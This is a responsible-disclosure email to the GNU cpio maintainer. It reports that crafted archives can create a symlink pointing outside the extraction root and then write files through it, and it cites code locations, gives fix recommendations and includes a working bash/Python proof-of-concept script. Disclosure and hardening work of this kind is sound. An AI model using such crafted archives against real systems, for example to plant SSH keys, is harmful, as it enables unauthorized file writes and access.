Dear GNU cpio maintainer:
Hello, I have identified a vulnerability in GNU cpio 2.15(latest on
23/04/2026), which allows a malicious attacker to create a symlink that
points outside the extraction root and then extract a regular file
underneath that symlink. This is aligned with CWE-22.

The attachment contains the vulnerability details, including information, a
proof of concept, and impacts. You may also view the plain text version as
below.

-----------------------------------------------------
Below is the markdown version of the vulnerability
-----------------------------------------------------
# GNU cpio 2.15 — Arbitrary File Write via Archive-Created Symlink Parent

GNU cpio extraction can be turned into an out-of-tree write primitive even
when archive member names look harmless: a crafted archive can first create
a symlink that points outside the extraction root and then extract a
regular file underneath that symlink.

One realistic attack scenario is a “malicious firmware / initramfs bundle”
(or any automated unpacking pipeline) that unpacks an attacker-provided
cpio archive into a staging directory:

```
pipeline/
|-- stage/                (victim-chosen extraction dir)
|-- rootfs.cpio           (attacker-controlled archive)
```

Victim workflow:

1. Victim runs: `cd stage && cpio -id < ../rootfs.cpio`
2. The archive contains a symlink entry like `link -> ~/.ssh/` and a normal
file entry like `link/authorized_keys`, so extraction writes **outside**
`stage/` into `~/.ssh/authorized_keys` (within the victim’s permissions).

## 0. Environment

- Target: `cpio` (GNU cpio copy-in mode: `cpio -id`)
- Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz`
(sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
- Build (from repository root):

```bash
WORK=/tmp/unpfuzz-cpio-2.15
rm -rf "$WORK"
mkdir -p "$WORK"
tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
cd "$WORK"/cpio-2.15
mkdir -p build && cd build
../configure --disable-nls CFLAGS='-O2 -g -fcommon'
make -j"$(nproc)"
```

- Binary: `cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)

## 1. Description

GNU cpio extraction sanitizes archive member names, but it does not apply
the same containment checks to symlink targets before creating symlinks on
disk.

An archive can first create a symlink inside the extraction directory that
points outside the extraction root. A later regular-file entry whose
pathname uses that symlink as a parent is opened by the kernel through the
symlink, causing a write outside the intended extraction directory.

This behavior was **reproduced on GNU cpio 2.15** (from
`cpio-latest.tar.gz`, sha256
`efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`) using
the default extract path (`cpio -id`).

Relevant code:

- `src/copyin.c:1486` — archive member names are normalized with
`cpio_safer_name_suffix(...)`.
- `src/copyin.c:110-126` — symlink target bytes are read from the archive
payload in `get_link_name(...)`.
- `src/copyin.c:792-816` — symlinks are created with
`UMASKED_SYMLINK(link_name, file_hdr->c_name, ...)` when
`--absolute-filenames` is in effect.
- `src/copyin.c:664-765` — the `--no-absolute-filenames` mitigation defers
symlinks via `symlink_placeholder(...)` /
`replace_symlink_placeholders(...)`.
- `src/copyin.c:476-484` — later regular files are opened with
`open(file_hdr->c_name, O_CREAT | O_WRONLY | O_BINARY, 0600)`.

## 2. Impact

An attacker who can supply a cpio archive can write files outside the
extraction directory selected by the victim.

Practical impact includes:

- creating or overwriting files adjacent to the extraction root;
- planting files in user-writable configuration directories;
- escalating impact if the extractor runs with elevated privileges or
inside an automated firmware/package unpacking pipeline.

## 3. Reason / Root Cause

The extractor treats symlink targets as inert payload data, but subsequent
filesystem operations resolve paths through those symlinks.

The entry name `link` is confined, but the symlink target `../outside` is
not rejected. When a later entry named `link/pwn.txt` is extracted,
`open(2)` follows the existing `link` symlink and writes to
`../outside/pwn.txt`.

The root cause is missing path-resolution containment at the
filesystem-operation layer. String-level member-name sanitization is not
sufficient once symlinks exist in the output tree.

## 4. Proof-of-Concept

### 4.1 PoC file

- Runner: `poc.sh`

### 4.2 What the PoC does

The PoC:

1. Creates a `newc` cpio archive in `/tmp`.
2. Adds a symlink entry: `link -> ../outside`.
3. Adds a regular-file entry: `link/pwn.txt`.
4. Extracts inside `/tmp/unpfuzz_cpio_poc/out`.
5. Verifies that `/tmp/unpfuzz_cpio_poc/outside/pwn.txt` is created.

### 4.3 Expected result

Successful exploitation creates:

- `/tmp/unpfuzz_cpio_poc/outside/pwn.txt`

instead of keeping all extracted files under:

- `/tmp/unpfuzz_cpio_poc/out/`

## 5. Fix Recommendations

1. Reject symlink targets that are absolute or that escape the extraction
root after resolution.
2. Before opening a regular file, walk parent components relative to a
trusted extraction-root file descriptor and reject symlink components
unless explicitly allowed.
3. Prefer `openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)` where
available, or implement equivalent `openat` + `lstat` path walking.
4. Treat symlink creation followed by later writes through the symlink as a
regression-test pattern.
5. Add tests for `link -> ../outside` followed by `link/file`, nested
symlink chains, and hardlink analogues.

## 6. Reproduction

>From the repository root:

```shell
CPIO_BIN=/path/to/cpio ./poc.sh
```

The poc.sh is as below
```shell
#!/usr/bin/env bash
set -euo pipefail

CPIO_BIN=${CPIO_BIN:-cpio}

if [[ "$CPIO_BIN" == */* ]]; then
  if [[ ! -x "$CPIO_BIN" ]]; then
    echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
    exit 1
  fi
else
  if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
    echo "error: cpio is required" >&2
    exit 1
  fi
fi

base=/tmp/unpfuzz_cpio_poc
rm -rf "$base"
mkdir -p "$base/out" "$base/outside"

python3 - <<'PY'
import time

base = "/tmp/unpfuzz_cpio_poc"
hdr_len = 110

def entry(name, mode, data=b"", ino=1, nlink=1):
    name_bytes = name.encode() + b"\0"
    namesz = len(name_bytes)
    fields = [
        ino,
        mode,
        1000,
        1000,
        nlink,
        int(time.time()),
        len(data),
        0,
        0,
        0,
        0,
        namesz,
        0,
    ]
    header = ("070701" + "".join(f"{value:08x}" for value in
fields)).encode()
    name_pad = b"\0" * ((4 - ((hdr_len + namesz) % 4)) % 4)
    data_pad = b"\0" * ((4 - (len(data) % 4)) % 4)
    return header + name_bytes + name_pad + data + data_pad

archive = b"".join([
    entry("link", 0o120777, b"../outside", 2),
    entry("link/pwn.txt", 0o100600, b"CPIO_ESCAPE\n", 3),
    entry("TRAILER!!!", 0, b"", 4),
])

open(base + "/symlink_escape.cpio", "wb").write(archive)
PY

(cd "$base/out" && "$CPIO_BIN" -id --quiet < "$base/symlink_escape.cpio")

if [[ ! -f "$base/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: outside file was not created" >&2
  find "$base" -maxdepth 3 -ls >&2
  exit 1
fi

echo "[+] created outside extraction root: $base/outside/pwn.txt"
cat "$base/outside/pwn.txt"

```

Reply via email to